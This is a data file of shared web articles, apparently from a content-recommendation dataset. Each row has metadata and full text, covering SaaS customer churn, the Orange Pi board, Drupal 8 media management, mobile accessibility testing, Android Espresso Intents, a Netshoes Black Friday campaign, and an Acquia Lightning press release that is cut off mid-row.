1478365480,CONTENT SHARED,-4483059513836093676,-8694104221113176052,-4567283676053200589,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.mckinsey.com/industries/high-tech/our-insights/grow-fast-or-die-slow-focusing-on-customer-success-to-drive-growth,Grow fast or die slow: Focusing on customer success to drive growth,"Technology and software companies spend millions acquiring new customers, yet customer retention is what separates top performers from their competitors. When most technology and software-as-a-service (SaaS) companies think about growing faster, their first thought is to invest in acquiring more customers. While customer acquisition is a clear part of revenue growth, a less obvious but critically important driver is customer success, as measured by high retention rates. Once you have invested the time and money to acquire a new customer, you lose out on the full revenue potential of that customer if they leave, or churn, earlier than desired. By reducing the revenue headwinds caused by churn, companies with strong levels of customer success grow faster. About the research To better understand the impact of customer success on the growth of technology and software companies , we developed a set of hypotheses and perspectives on key metrics behind customer success, as well as best practices for reducing churn that we validated with input from leading innovators in venture capital and SaaS. We then dug into our proprietary database, SaaSRadar , which tracks key financial and operational metrics across nearly 200 growth-stage SaaS businesses with revenue between $10 million and $200 million. We used that data to look at how top-quartile performers in revenue growth compare with mean performers across a range of churn and related metrics for each of three customer types: small and midsize businesses (SMBs); SMBs and enterprises; and enterprises (see sidebar, ""About the research""). Companies typically track three churn metrics: customer churn, gross-revenue churn, and net-revenue churn. The most comprehensive of these three metrics is net-revenue churn, as it captures both the dollar value lost from churning customers and the dollar value gained from expansion revenue (which comes from both up-selling and cross-selling to existing customers). Our analysis showed several results: Across all three customer types, companies in the top quartile of growth maintained lower net-revenue churn than mean performers. The net-revenue performance of the top-quartile-growth performers was driven most significantly by advantages in gross-revenue churn as opposed to logo churn or revenue expansion (upsell/cross sell) within existing accounts. Companies that excel at lowering gross-revenue churn emphasize several key customer-success best practices throughout their organizations. Lower net-revenue churn is correlated with higher growth The results of our analysis show that top-quartile-growth performers have much lower net-revenue churn than mean performers. The analysis also shows that net-revenue churn improves with larger average contract value (ACV), likely due to more structural churn among SMB customers and higher switching costs associated with larger contracts (Exhibit 1). In particular, between the SMB and the SMBs-and-enterprises customer types, top-quartile performers not only have net-revenue churn that is 14 to 23 percentage points less than mean performers but also have net-revenue churn that is negative in an absolute sense. Negative net-revenue churn means that these top-quartile performers would continue to grow even if they did not acquire any new customers (their ACV expansion in existing accounts is greater than any revenue churn from existing customers). The difference in net-revenue churn between top-quartile performers and mean performers is less pronounced among companies serving large enterprises-top performers have net-revenue churn that is seven percentage points lower than mean performers. However, because of the size of these contracts, even small differences in net-revenue churn have very real implications for a company's top line. Why focusing on gross-revenue churn can lower net-revenue churn Breaking down net-revenue churn into its two primary subcomponents, gross-revenue churn and expansion revenue (also called ""antichurn""), reveals that top-quartile-growth performers achieve such low net-revenue churn by outperforming on gross-revenue churn. Would you like to learn more about our High Tech Practice ? Visit our Strategy page While it is true that some of the net-revenue-churn advantage enjoyed by top performers stems from expansion revenue, the majority of the benefit stems from reductions in gross-revenue churn (Exhibit 2). Across all three customer types, the gross-revenue churn of top-quartile-growth performers is about 40 to 50 percent lower than mean performers. In other words, relative to mean performers, top-quartile performers achieve their success more by retaining existing customers than by convincing their customers to buy more or move to higher-priced tiers of the product. The skew is a little more balanced when serving midmarket customers. Here it is important to excel at both gross-revenue churn and expansion revenue to maintain top-quartile performance. This is likely a result of the ""land and expand"" strategy that companies with midmarket customers are pursuing, where success at expansion within existing accounts is critical to achieve top-quartile growth. Coming back to the overall picture, focusing on gross-revenue churn is also more important than focusing on customer churn alone. In other words, it's important to take into account the fact that not all accounts are created equally-some customers are clearly more valuable than others. Companies with top-quartile growth have lower customer churn than mean performers-from about 10 to 30 percent lower depending on customer type (Exhibit 3). But the bigger gap between top-quartile performers and mean performers, again, lies in their gross-revenue churn, which, as mentioned before, is 40 to 50 percent lower depending on customer type. One clear implication of these findings is that top-quartile-growth performers know how to protect their base-in other words, they understand how to keep their most important customers for long periods. The second implication is that top-quartile performers realize that there is a healthy level of churn and that losing low-revenue accounts can be acceptable, as long as they protect the core accounts that drive the bulk of their top-line revenue. How to lower gross-revenue churn Given that gross-revenue churn drives most of the difference between top-quartile-growth performers and mean performers, how can companies effectively lower their gross-revenue churn? In our experience advising SaaS businesses on customer success, there are five areas for companies to focus on. 1. Invest appropriately in building a high-performing customer-success organization Top-quartile-growth performers invest in a customer-success model that fits their customer needs (Exhibit 4). At the SMB level, top performers are actually investing less than the mean, as they are more efficient in addressing customer needs. This translates into best-practice digital support as well as products that more seamlessly integrate with existing systems, thereby reducing head-count spend in the customer-success function. Alternatively, companies serving enterprise customers invest more heavily than the mean in customer-success professionals, fitting well with the hands-on expectations of their large deals and customers. The midmarket is a mixed bag, as smaller customers will be served more through a digital model and larger customers will require a more hands-on approach. 2. Think about the full customer journey and tailor your approach The seeds of churn are sown throughout the customer experience , so it's necessary to have a clear engagement strategy for each leg of the customer journey . During deployment, companies should ensure rapid installation and seamless integration with their customers' systems. But the best companies solve deployment challenges with great products. Top-quartile-growth performers spend more on R&D and product development than mean performers. They then reap the benefits of this product focus with lower implementation costs and a more positive customer experience at deployment. As customers then move into the early days of usage, companies should ensure appropriate onboarding and training and also manage work flow actively. Finally, during renewal, companies should identify in advance what accounts are at a high risk for churn and identify and resolve customer issues to ensure a seamless renewal process. 3. Use analytics to gain an advantage Analytics and predictive modeling can help to both identify drivers of churn and prioritize resources and contact strategy for customers that are at the highest risk and of the greatest value. Analytics and predictive modeling should be employed across three dimensions: key business benefits, technical and feature shortcomings, and pure customer service. Each presents different dynamics and challenges. For key business benefits, companies should analyze the metrics that matter most to their customers (web traffic, engagement time, or conversion rate, for example). For technical and feature shortcomings, companies should track customer frustration with issues such as bugs and glitches, poor user experience, slow load time, and integration problems. For pure customer service, companies should analyze customer happiness with engagement, response time, and issue resolution across all customer-care channels including phone, email, and live chat. Grow fast or die slow Software and online-services companies can quickly become billion-dollar giants, but the recipe for sustained growth remains elusive. See the collection 4. Measure, measure, measure While predictive analytics will help identify at-risk customers, it is still important to measure a broad range of key performance indicators to keep your customer-success organization accountable to a high standard. As such, consider segmenting your customer-success metrics into three types: lagging indicators, activity indicators, and leading indicators-and having a scorecard to track all three. Lagging indicators include renewal rate, expansion (again, cross-selling and up-selling existing customers), and advocacy (through case studies and reviews, for example). Activity indicators include a customer's receptiveness to engaging in activities like interviews, focus groups, and product-feedback surveys. Leading indicators include measures of customer satisfaction, such as net promoter score; adoption, such as the number of seats or features being used; and client engagement, such as the rate of attendance at meetings and events. 5. Let your customer-success organization be the 'learning engine' Ultimately, the customer-success organization cannot live in a vacuum. One hallmark characteristic of a strong customer-success organization is that customer insights are shared across the entire organization. In that way, the customer-success organization becomes the company's ""learning engine""-relaying their findings from the field to the sales, product, and marketing teams. This feedback loop is critical in allowing for the overall product, value proposition, and delivery model to improve. In summary, our analysis clearly shows the extent to which a focus on customer success is critical to attaining top-quartile growth. Net-revenue churn is correlated with higher growth. And the key driver behind low net-revenue churn is maintaining low gross-revenue churn. A relentless focus on customer success allows technology and SaaS companies to lower gross-revenue churn and keep it there-complementing the efforts of their sales teams, as well as kicking revenue growth into higher gear. Ultimately, the focus on customer success not only accelerates revenue growth but also creates a more efficient and effective go-to-market organization. About the author(s) Allen Miller is a consultant in McKinsey's Stamford office, Ben Vonwiller is a partner in the New York office, and Peter Weed is a partner in the Boston office and global cohead of the Growth Tech service line. The authors wish to thank Ajay Agarwal and Nick Mehta for their contributions to this article.",en
1478516334,CONTENT SHARED,-6932442635231192683,-1032019229384696495,-798587025919053926,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.35 Safari/537.36",13,PT,HTML,https://techcrunch.com/2016/11/06/the-new-64-bit-orange-pi-is-a-quad-core-computer-for-20/,The new 64-bit Orange Pi is a quad-core computer for $20,"Need a teeny tiny computer that can run Android or Linux? Only have $20? Well you're in luck. When we first met the Orange Pi (get it?) the company was selling a nice Raspberry Pi clone for $15. Now they're selling a souped up version with all the trimmings. The board includes an Ethernet port and three USB ports . It has 1GB of memory, H5 High Performance Quad-core 64-bit Cortex-A53, and a standalone graphics chip. It supports camera input as well as HDMI out and even has a physical power switch and IR blaster. In short it's a mini computer that can probably play some games, display some HD video, and generally be used in all sorts of home-brew projects. You can check out the specs here and order online. If you only have $5 you can pick up an Orange Pi Zero with Wi-Fi and Ethernet built-in. It's no Raspberry but who doesn't love oranges?",en
1478618033,CONTENT SHARED,-266262937631881148,3891637997717104548,1794946588429108409,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.acquia.com/blog/plan-media-management-drupal-8/08/11/2016/3299166?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+acquiacomblog+%28Acquia.com+Blog%29,A plan for media management in Drupal 8,"Today, when you install Drupal 8.2, the out-of-the-box media handling is very basic. For example, you can upload and insert images in posts using a WYSIWYG editor, but there is no way to reuse files across posts, there is no built-in media manager, no support for ""remote media"" such as YouTube videos or tweets, etc. While all of these media features can be added using contributed modules, it is not ideal. This was validated by my ""State of Drupal 2016 survey"" which 2,900 people participated in; the top two requested features for the content creator persona are richer image and media integration and digital asset management (see slide 44 of my DrupalCon New Orleans presentation ). This led me to propose a ""media initiative"" for Drupal 8 at DrupalCon New Orleans. Since then a dedicated group of people worked on a plan for the Drupal 8 media initiative . I'm happy to share that we now have good alignment for that initiative. We want to provide extensible base functionality for media handling in core that supports the reuse of media assets, media browsing, and remote media, and that can be cleanly extended by contributed modules for various additional functionality and integrations. That is a mouthful so in this blog post, I'll discuss the problem we're trying to solve and how we hope to address that in Drupal 8. Problem statement While Drupal core provides basic media capabilities, contributed modules have to be used to meet the media management requirements of most websites. These contributed modules are powerful - look at Drupal's massive adoption in the media and entertainment market - but they are also not without some challenges. First, it is hard for end-users to figure out what combination of modules to use. Even after the right modules are selected, the installation and configuration of various modules can be daunting. Fortunately, there are a number of Drupal distributions that select and configure various contributed modules to offer better out-of-the-box experience for media handling. Acquia maintains the Lightning distribution as a general purpose set of components including media best practices. Hubert Burda Media built the Thunder distribution and offers publishers strong media management capabilities. MD Systems created the NP8 distribution for news publishers which also bundles strong media features. While I'm a big believer in Drupal distributions , the vast majority of Drupal sites are not built with one of these distributions. Incorporating some of these media best practices in core would make them available to all end-users. Second, the current situation is not ideal for module developers either. Competing solutions and architectures exist for how to store media data and how to display a library of the available media assets. The lack of standardization means that developers who build and maintain media-related modules must decide which of the competing approaches to integrate with, or spend time and effort integrating with all of them. The current plan In a way, Drupal's media management today is comparable to the state of multilingual in Drupal 7 ; it took 22 or more contributed modules to make Drupal 7 truly multilingual and some of those provided conflicting solutions. Multilingual in Drupal 7 was challenging for both end-users and developers. We fixed that in Drupal 8 by adding a base layer of services in Drupal 8 core, while contributed modules still cover the more complex scenarios. That is exactly what we hope to do with media in a future version of Drupal 8. The plan for the Drupal 8 media initiative is to provide extensible base functionality for media handling in core that supports the reuse of media assets, media browsing, and remote media, and that can be cleanly extended by contributed modules for various additional functionality and integrations. In order to do so, we're introducing a media entity type which supports plugins for various media types. We're currently aiming to support images and YouTube videos in core, while contributed modules will continue to provide more, like audio, Facebook, Twitter, etc. To facilitate media reuse, WYSIWYG image embedding will be rebuilt using media entities and a media library will be included to allow selecting from pre-existing media. We consider this functionality to be the minimum viable product for media in Drupal 8 core. The objective is to provide a simple media solution to make Drupal 8 easy to use out of the box for basic use cases. This would help users of sites large and small. A work-in-progress prototype of the proposed media library. Expected timeline and call for help We believe this could be achieved in a relatively short time - to be included in Drupal 8.3 or Drupal 8.4 as experimental modules . To help make this happen, we are looking for organizations to help fund two dedicated code sprints. The existing contributors are doing an amazing job but dedicated in-person sprints would go a long way to make the plans actually happen. If you are willing to help fund this project, let me know! Looking to help with the implementation itself? The media team meets at 2pm UTC every Wednesday. I also recommend you follow @drupalmedia for updates. I tried to make a list of all people and organizations to thank for their work on the media initiative but couldn't. The Drupal 8 initiative borrows heavily from years of hard work and learnings on media related modules from many people and organizations. In addition, there are many people actively working on various aspects of the Drupal 8 media initiative. Special thanks to everyone who has contributed now and in the past. Also thank you to Gábor Hojtsy , Alex Bronstein and Janez Urevc for their contributions to this blog post.",en
1478622657,CONTENT SHARED,4904775878165401439,-4465926797008424436,-4234938118093547320,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.ministryoftesting.com/2015/09/my-approach-to-mobile-accessibility-testing/,My Approach to Mobile Accessibility Testing - Ministry of Testing,"By Helen Burge When I get asked by team members about mobile accessibility, I am often asked how difficult it is compared to desktop accessibility testing. Often the questions indicate how many assume that mobile accessibility is a completely different beast to traditional functional and accessibility software testing. This has prompted me to write this quick summary to help clarify how I approach mobile accessibility testing, and how it only requires a few tweaks to desktop testing successfully perform audits. Audience of Mobile Applications Requiring Accessible Applications Some of you may be surprised to know the number of screen reader users that will use a mobile to browse web sites. In the 2014 Webaim survey (a new one is in the process of being compiled) shows that 82% of screen reader users will use a mobile device . When considering mobile users that may need an accessibility approach it is not limited to blind users. Other users to consider are: partially sighted (especially when using a smaller screen) colour blindness dyslexia and other cognitive issues that can affect the readability of a site arthritic and other finger joint movability issues or a combination of these issues which makes addressing accessibility even harder! Some users will use items like Bluetooth keyboards, but does this mean a tester also needs to use extra hardware when testing a mobile site? For requiring other hardware, you are more likely to need a range of mobiles with different operating systems than extra hardware like a Bluetooth keyboard. This is due to the fact hardware used for accessibility will highlight the same issue in the software whereas different operating systems will have different screen readers and versions inbuilt. The issues found with different screen readers will vary but the hardware will have the same common issues, e.g. the page order will match the order of items selected with left to right swipes using a screen reader. The minimum requirements to test for mobile accessibility should be an Android and an iOS mobile (as they each use different screen readers and browsers/applications). I would advise to not use emulators for testing mobile applications and web sites, they are a good starting point but do not show how the hardware will work with gestures. Some will say you should not look at the screen to do true testing like an end user, but I believe being able to see the items helps as you can tell if a label shown is not read or given focus by the screen reader. Accessibility Tools To help you understand the requirements of testing web sites and applications for accessibility, it helps to understand the tools required. I am going to go through the main points and how to use the tools to cover mobile accessibility testing. Screen Readers The main accessibility tool most testers seem to be aware of are screen readers. On desktops you often need to use a paid for tool like JAWS, but luckily on mobile you have free screen readers built into the operating system. A screen reader is a tool used to read what a sighted person will see on the page. The screen reader for a phone is often activated via the phone settings as inbuilt to the phone operating system. Using a Screen Reader: When you start to do the testing, the screen reader testing is normally the most time consuming and challenging part of mobile accessibility testing, but it will also highlight bad practices and bugs on both desktop and mobile. For instance, the screen reader will read out the form controls in a certain pre-defined order. It will become obvious via the screen reader whether they are structured correctly. A big difference between the desktop and mobile accessibility testing is the screen reader navigation. The desktop screen readers require keyboard shortcuts to navigate the page, but mobile screen readers can connect via a Bluetooth keyboard or specific finger gestures. When testing with a screen reader make sure items shown in the page are read in a meaningful way. Images have a meaningful label, and/or if decorative are not read or given focus. When navigating forms, the fields have meaningful labels and errors are linked to the appropriate fields. Basically, everything you can see must be portrayed in a meaningful way via the screen reader. For Android phones, go to Settings > My Device >Accessibility > Vision (new to Android 5.0) > TalkBack > Turn TalkBack on. All gestures for TalkBack require only 1 finger. To get you started here are the basics I would use: Touch or move around the screen - speaks and select the item under your finger Swipe right or down - move to next item on screen Swipe left or up - move to previous item on screen Double-tap - select focussed item Swipe up then down - move to first item on screen Swipe down then up - move to last item on screen Swipe right then left - scroll forward on page or move slider Swipe left then right - scroll back on page or move slider Swipe up then left - Home button Swipe down then left - Back button For iOS phones, go to Settings > General >Accessibility > VoiceOver > Turn VoiceOver on. VoiceOver does require up to 3 finger gestures, and although some are similar to Android, there are enough differences to cause some difficulty when switching between the screen readers. The basic gestures I would use for testing are: 1 finger gestures: Touch or move around the screen - speaks and select the item under your finger Tap 2 times fast - activate the selected item Swipe left or right - selects the previous or next item Swipe up or down - move to the selected rotor option 2 finger gestures: Swipe up - read all from first object in selected area Swipe down - read all from selected item Scrub back and forth - go back, cancel, close pop-up Pinch out/in - select/deselect Rotate to open the web rotor and select rotor items (see the last point for 1 finger gestures) 3 finger gestures: Swipe left or right - move to previous or next horizontal screen/page Swipe up or down - move/scroll down or up Colour Ratio Analysers Another essential tool is a contrast ratio analyser, however, this will be used on the desktop. The purpose of this is to ensure the colour contrast is readable for people with a variety of issues, not just colour blindness. For instance, a low colour ratio can affect people with poor visibility, and dyslexia, often not taken into consideration when checking the colour ratios. First you need to take screenshots of the screen from a phone, upload or send the image to somewhere accessible from a desktop and then use a validator to check there is enough contrast between two adjoining colours. I use Paint to pick the colour, then 2 websites: an RGB to Hex converter (as Paint returns the RGB colour and the analyser requires hex colours) and then a colour contrast analyser like Luminosity Contrast Ratio . HTML Validator HTML validators only work on the desktop so when testing a mobile website. HTML validators are often used to check a web site to make sure the semantics are correct in the code. There are many available as browser add ons, e.g. WAVE for Firefox . I recommend to use these as a starting point, but not as the definitive answer for an accessible site. In some cases the validator will raise issues that are not failures. For instance, they might highlight duplicate IDs defined in the HTML but one ""duplicate"" is in the HTML comment for the declaration of a variable or the code highlighted as failing is not active so not in scope to be accessible. Sometimes due to these errors, it is advisable to ask a developer to help with reviewing the results if you are not sure on them. Inbuilt Accessibility Options Accessibility options like zooming and invert colours are available on most mobiles. Most of the options are not required for audits. For instance the zoom checkpoint in WCAG 2.0, 1.4.4, asks the tester to zoom text without using assistive technology. This means you must be able to zoom the page without using an accessibility option but to be able to zoom the page using the normal pinch action. It is like using a third party magnifying tool, if that is the only way to zoom the page it fails the checkpoint as that is requiring assistive technology and not using the default browser zoom. WCAG 2.0 Checkpoints I have also mentioned the most important tool for accessibility testing, the WCAG 2.0 checkpoints . These are guidelines written by W3C and used by most companies and Countries as the standards you must adhere to. In America, there is Section 508 , which almost completely matches WCAG 2.0 to level AA but missing 3 items. Therefore I recommend making sure all audits comply to WCAG 2.0 AA. You can try to meet level AAA but this is extremely difficult and not seen as a legal requirement for most countries. I have heard a few arguments of how the WCAG 2.0 checkpoints do not apply to mobile testing, but I believe if you use common sense they do apply. This has only recently been confirmed by the W3C too. Checklist of Tests to Cover Screen reader testing : as mentioned before the way you test this on a mobile will vary from how you test on the desktop Zooming the site/application : this is important to a user with poor sight and those that may have difficulty moving their fingers to select a button. A larger button is easier to select. This is the same for desktop and mobile, but again using different methods. On a desktop browser you have the zoom feature, but on a mobile you have the pinch movement. Colour ratios : most testers verify these with a toolbar on the desktop, but I recommend using screenshots to get the actual colours shown and validating them as what is programmed in is not always what is seen. This applies to both desktop and mobile. When you have the screenshot, use the paint tool on items that look too similar in colours to grab the colour used (e.g. grey text on a darker grey background). Then convert the RGB colours to hex to work out the ratios with a tool like Luminosity Contrast Ratio . Readability of the site : make sure the text is not over complicated and easy to understand. Also make sure the text is easy to read, especially if the background is an image and/or using gradients. This is the same for both desktop and mobile testing. Navigation : make sure navigating the site or application is consistent, logical, structured, descriptive and not over complicated. This really applies to both mobile and desktop testing. To check the navigation make sure links are descriptive are not just ""click here"" ones, and easy to understand. Also if there is a mechanism, like menu items, they allow you to navigate to all pages in the site in a similar way. Conclusion Mobile testing for accessibility does not need to be a big task and can be very similar to the requirements of desktop testing. There are overlaps a desktop site versus what seems to be the same on the mobile can have completely different bugs when you test both. With smart and considerate planning you can probably easily cover most accessibility tests through an effective and broad functional testing approach. About The Author Helen Burge has a Business Information Technology degree from Bournemouth University, and graduated in 2003. After leaving university she worked in testing and part of all her roles involved accessibility testing due to her fascination at how unappreciated the need is to make web sites and applications accessible. Helen worked closely with developers to help learn the most effective way to find and report issues. From this she built a unique test methodology to make sure accessibility bugs are not subjective but make sure any issues raised are reproducible with actionable items. This approach has ensured the team can resolve issues and understand the impact on the end users. Related",en
1478623412,CONTENT SHARED,-7423191370472335463,-4465926797008424436,-4234938118093547320,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://medium.com/android-dev-br/espresso-intents-n%C3%A3o-%C3%A9-m%C3%A1gica-%C3%A9-tecnologia-1fcfc8f21d3b,"Espresso Intents: não é magia, é tecnologia! - Android Dev BR","Se você leu meu último artigo sobre Testes unitários vs aceitação , já ficou bem claro como é difícil controlar o ambiente de teste. Existem diversas API's do próprio Espresso como ActivityMonitor e IdlingResources que nos ajudam nessa empreitada. Utilizando esses dois recursos, já conseguimos criar excelentes testes de aceitação que nos salvam a vida. Mas, nem tudo é mar de rosas. Imagine um cenário como esse: Como iremos voltar para nosso app? A não ser que criamos uma implementação da câmera com a "" casca "" do seu device, fica bem chato testar esse cenário. E agora, Sica, quem poderá nos ajudar? É exatamente sobre isso que esse artigo fala: o herói Espresso Intents . O problema Um dos principais pilares do nosso querido Android são as . Como o nome diz, uma Intent é quando você tem a intenção (olha só) de fazer algo: um objeto de mensagem que pode ser usado para solicitar uma ação de outro componente de uma aplicação. Por exemplo, para abrir a câmera, precisamos enviar uma Intent solicitando o app de câmera que o usuário tem no aparelho: Há três casos de uso fundamentais na utilização das Intent's : para iniciar sua Activity , Service ou enviar um Broadcast . Ou seja, para iniciar (ou utilizar) qualquer coisa, você irá precisar de uma Intent e seus devidos extras ( B ). Precisamos repetir esse processo o tempo todo: seja para utilizar aplicações do próprio device ou até para aplicativos de terceiros. No ambiente de teste Só de ler o parágrafo acima você já deve ter pensado duas vezes em implementar um teste na sua classe que utiliza esses recursos, né? Bom, já que qualquer ação para inicializar algo necessita de uma Intent , fica muito difícil você ter certeza, nos seus testes, que as coisas estão acontecendo bem. E é exatamente isso que o Espresso Intents resolve: você consegue controlar todas as Intents que são disparadas (ou recebidas) pela sua aplicação. Como funciona O Espresso Intents é uma extensão do Espresso que possibilita você validar e fazer stubbings das Intents que são enviadas e recebidas pela sua aplicação dentro do ambiente de teste. Sabe o ? Então, é tipo isso, só que pra Intents . Só de ser possível comparar com o Mockito , já mostra como essa API é valiosa para nossos testes. Vamos entender a sua estrutura: Adeus ActivityTestRule. Olá IntentsTestRule. Para iniciar nossa Activity , dentro de um teste anotado, declaramos nossa ActivityTestRule como uma do e podemos iniciar qualquer Activity que desejamos: Para inicializar o Espresso Intents , você precisa inicializar a API e liberá-la após o uso: Mas, pra mim, é bem chato lembrar de fazer isso em todo teste. Para a nossa alegria, existe a IntentsTestRule que herda da ActivityTestRule . A IntentsTestRule , por sua vez, facilita a API do Espresso Intents funcionar. Ela inicia o Espresso Intents antes de cada teste anotado com nossa famosa anotação e, quando esse teste terminar, ele irá finalizar a execução de toda a API. Tá, mas o que isso faz? Basicamente te torna um mágico das Intents , conseguindo validá-las e controlá-las como um ótimo Merlin . Stubbing de Intent Agora que você é o Merlin, você tem o poder (lê-se algum programador facilitou isso pra você) de gravar todas as Intents que irão iniciar alguma Activity dentro da sua aplicação. Já que você tem todas elas, o Espresso Intents tem dois métodos que fazem toda essa mágica. Utilizando o mesmo exemplo de abrir a câmera, você consegue utilizar o método para retornar um resultado desejado: Validando uma Intent Nesse caso você estava recebendo uma Intent . Agora, avalia essa situação: Se você deixar essa sua Intent vazar, você irá sair do contexto da sua aplicação, onde seus poderes de Merlin surtem efeito, e entrar no ambiente do nosso amiguinho Android, e para interagir com qualquer elemento da tela você irá precisar do UI-Automator . Só de pensar nesse teste eu já abri a boca de sono. Mas, como iremos testar esse cenário? Aí que temos o outro método mágico, o . Com ele, validar alguma Intent, e a combinando com o método , você é capaz de de isolar totalmente seu ambiente de teste: Agora sim, dá pra testar. Limitações No dia a dia, sinto muito a falta de conseguir interceptar uma Intent para abrir outra Activity, e modificar o conteúdo dentro dela, por exemplo: Isso seria ótimo, já que em um ambiente de CI (emulador) não há imagem alguma. Ou seja, você precisa fornecer essas imagens de alguma maneira. Mas, atualmente, isso não é suportado, o que nos obriga a fazer uma implementação menos ""elegante"" . Projeto de exemplo Calma que todo esse código não vai ficar só em um post não. Criei esse projeto de exemplo que utiliza algumas situações interessantes e como você pode viajar no uso dessa API. Conseguiu implementar algo legal? Não hesite em me mandar um pull request ! Sucesso Aposto que seus testes irão fluir muito melhor com essa extensão maravilhosa do Espresso . Mas não pense que seus poderes acabaram por aqui: no próximo irei falar sobre o vasto reino da Web e como interagir com elas. Não esqueça de compartilhar, comentar ou acrescentar em algo nesse post! Valeu! Links",pt
1478629082,CONTENT SHARED,-1353560213232970946,-1352064057049251194,-47974600325363893,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36",SP,BR,HTML,https://www.ecommercebrasil.com.br/noticias/netshoes-e-zattini-30-dias-de-black-friday/,Netshoes e Zattini anunciam 30 dias de Black Friday,"Chegou novembro e, junto com o mês, chega também o maior período promocional do Grupo Netshoes, o Black November, para as lojas virtuais Netshoes e Zattini. Essa é a terceira edição consecutiva do evento e, este ano, como novidade, entram as categorias beleza e marketplace. Durante todo o ano, a empresa se preparou para o período que oferece mais de 2 milhões de produtos com descontos - o dobro do que foi disponibilizado em 2015. Foram abertas mais de 100 vagas de atendimento para a Central de Relacionamento e mais de 500 vagas disponíveis para os Centros de Distribuições em Barueri (SP), Extrema (MG) e Jaboatão dos Guararapes (PE) e, a partir do dia 2 de novembro, os centros passam a funcionar em três turnos para atender ao crescimento da demanda. O Centro de Distribuição de Extrema, que na edição de 2015 era recém-inaugurado, já está funcionando em plena capacidade e ajudará a pulverizar a distribuição dos produtos nos centros de Barueri e Jaboatão dos Guararapes. A empresa conta com cerca de 20 transportadoras parceiras, além dos Correios, e todas com postos de atendimento avançados internos, para otimizar a entrega de produtos adquiridos na Netshoes e na Zattini. Uma outra novidade são as máquinas embaladoras que devem agilizar o processo de empacotamento durante o período. Instaladas nos Centros de Distribuição, elas empacotam em média 20 produtos por minuto. Para os consumidores que possuem o NCard - cartão de crédito co-branded do Grupo Netshoes em parceria com o Itaú - e o utilizarem nas compras na Netshoes e na Zattini - automaticamente ganham 10% adicionais de desconto e mais uma série de benefícios. Além disso, diariamente, um produto estará com descontos de 20% para compra no cartão. ""Nós buscamos sempre oferecer a melhor experiência de compra para o cliente e, durante o Black November, esse compromisso é ainda maior. Nós trabalhamos e nos preparamos durante todo o ano, contratamos mais pessoas, investimos em tecnologia para que todos os clientes que acessarem todas as lojas do Grupo Netshoes saiam completamente satisfeitos"", diz Graciela Kumruian, COO do Grupo Netshoes. Black November 2015 Nos primeiros 15 dias do mês promocional no ano passado, a empresa registrou aumento de 34% no número de visitas em relação ao mesmo período de 2014. O acesso mobile se destacou com crescimento de 176% no número de visitas e 241% no incremento de receita ,impulsionado principalmentepelo Navegue Grátis - que permitenavegar pelos sites www.netshoes.com.br , www.zattini.com.br e aplicativos mobile sem consumir a franquia do plano de dados da rede móvel dos internautas. Os novos clientes representaram 26% e 60% dos pedidos do mês promocional na Netshoes e Zattini, respectivamente. Na primeira edição do Black November (2014), o Grupo Netshoes registrou mais de 1 milhão de pedidos durante o mês . Já o tráfego de visitantes registrou crescimento de 160% em relação a novembro 2013 . Para anunciar os 30 dias de Black Friday, Felipe Andreoli e Giovanna Antonelli estrelam os filmes das campanhas da Netshoes e da Zattini, respectivamente, mostrando os mais de 2 milhões de produtos em promoção das duas lojas virtuais que irão invadir a cidade com esporte, moda e pela primeira vez, beleza. As Campanhas de Netshoes e Zattini foram criadas pela agência in house do Grupo Netshoes e os filmes produzidos em parceria com a Trator Filmes. No filme do Black November Netshoes, Felipe Andreoli mostra como o esporte e os produtos da Netshoes estão invadindo toda a cidade. Já a atriz Giovanna Antonelli, embaixadora da Zattini, apresenta os milhares de produtos de moda e beleza com os melhores preços, sob o conceito ""a ousadia está invadindo a cidade"", enquanto veste modelos disponíveis na loja online. Além dos comerciais veiculados em TV Aberta e fechada, as marcas também contarão com mídia online, Rádio e OOH, mobile e redes sociais, grande fonte de busca de informações e comparação de vantagens na hora de adquirir um produto. Assista aos vídeos da série do E-Commerce Brasil sobre a Black Friday:",pt
1478640838,CONTENT SHARED,6908884359295619150,3891637997717104548,1794946588429108409,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.acquia.com/about-us/newsroom/press-releases/acquia-releases-lightning-drupal-8-enabling-fast-starts-digital,"Acquia Releases Lightning for Drupal 8, Enabling Fast Starts for Digital Experience Deployments [July 19, 2016]","BOSTON - July 19, 2016 - Acquia, the digital experience company, today announced the launch of Acquia Lightning , a freely available open source distribution of Drupal that accelerates Drupal 8 development, streamlines authoring for business users, and make it easy for non-technical users to manage content and experiences. It serves as the perfect starter kit for Drupal 8, bringing together critical functionality for enterprise-scale delivery of digital experiences. The Acquia Lightning distribution is available on Acquia Cloud Free , where developers can start building with Drupal 8 today. The proliferation of new devices and channels along with the rapidly growing expectations for mobile experiences raises the stakes for developers and builders of digital experiences. Drupal 8 provides digital experience management capabilities built for the future of the web. It offers a simplified user experience and tools that empower builders to create highly personalized and mobile experiences. Today's launch of Acquia Lightning makes it easy for organizations to get started fast with Drupal 8, shaving weeks or months off development projects. ""Lightning solves problems that would otherwise slow the development of content-rich websites on Drupal. I like that we can now focus less on overcoming technology hurdles and more on client needs,"" said Jill Moraca, manager of Web Development Services in the Office of Information Technology at Princeton University , which participated in the beta trial of Acquia Lightning. ""Using Lightning makes getting started on new web development projects faster and easier. Our developers and content creators are excited about the future of Lightning."" Lightning helps organizations quickly build and customize four key components of digital experience delivery that all marketing and editorial teams require: Drag-and-drop Layout: Create flexible, responsive layouts so everyone can be a site builder and create pages and experiences without developer intervention Media Management: Create, upload, embed, and manage social media and digital assets Content 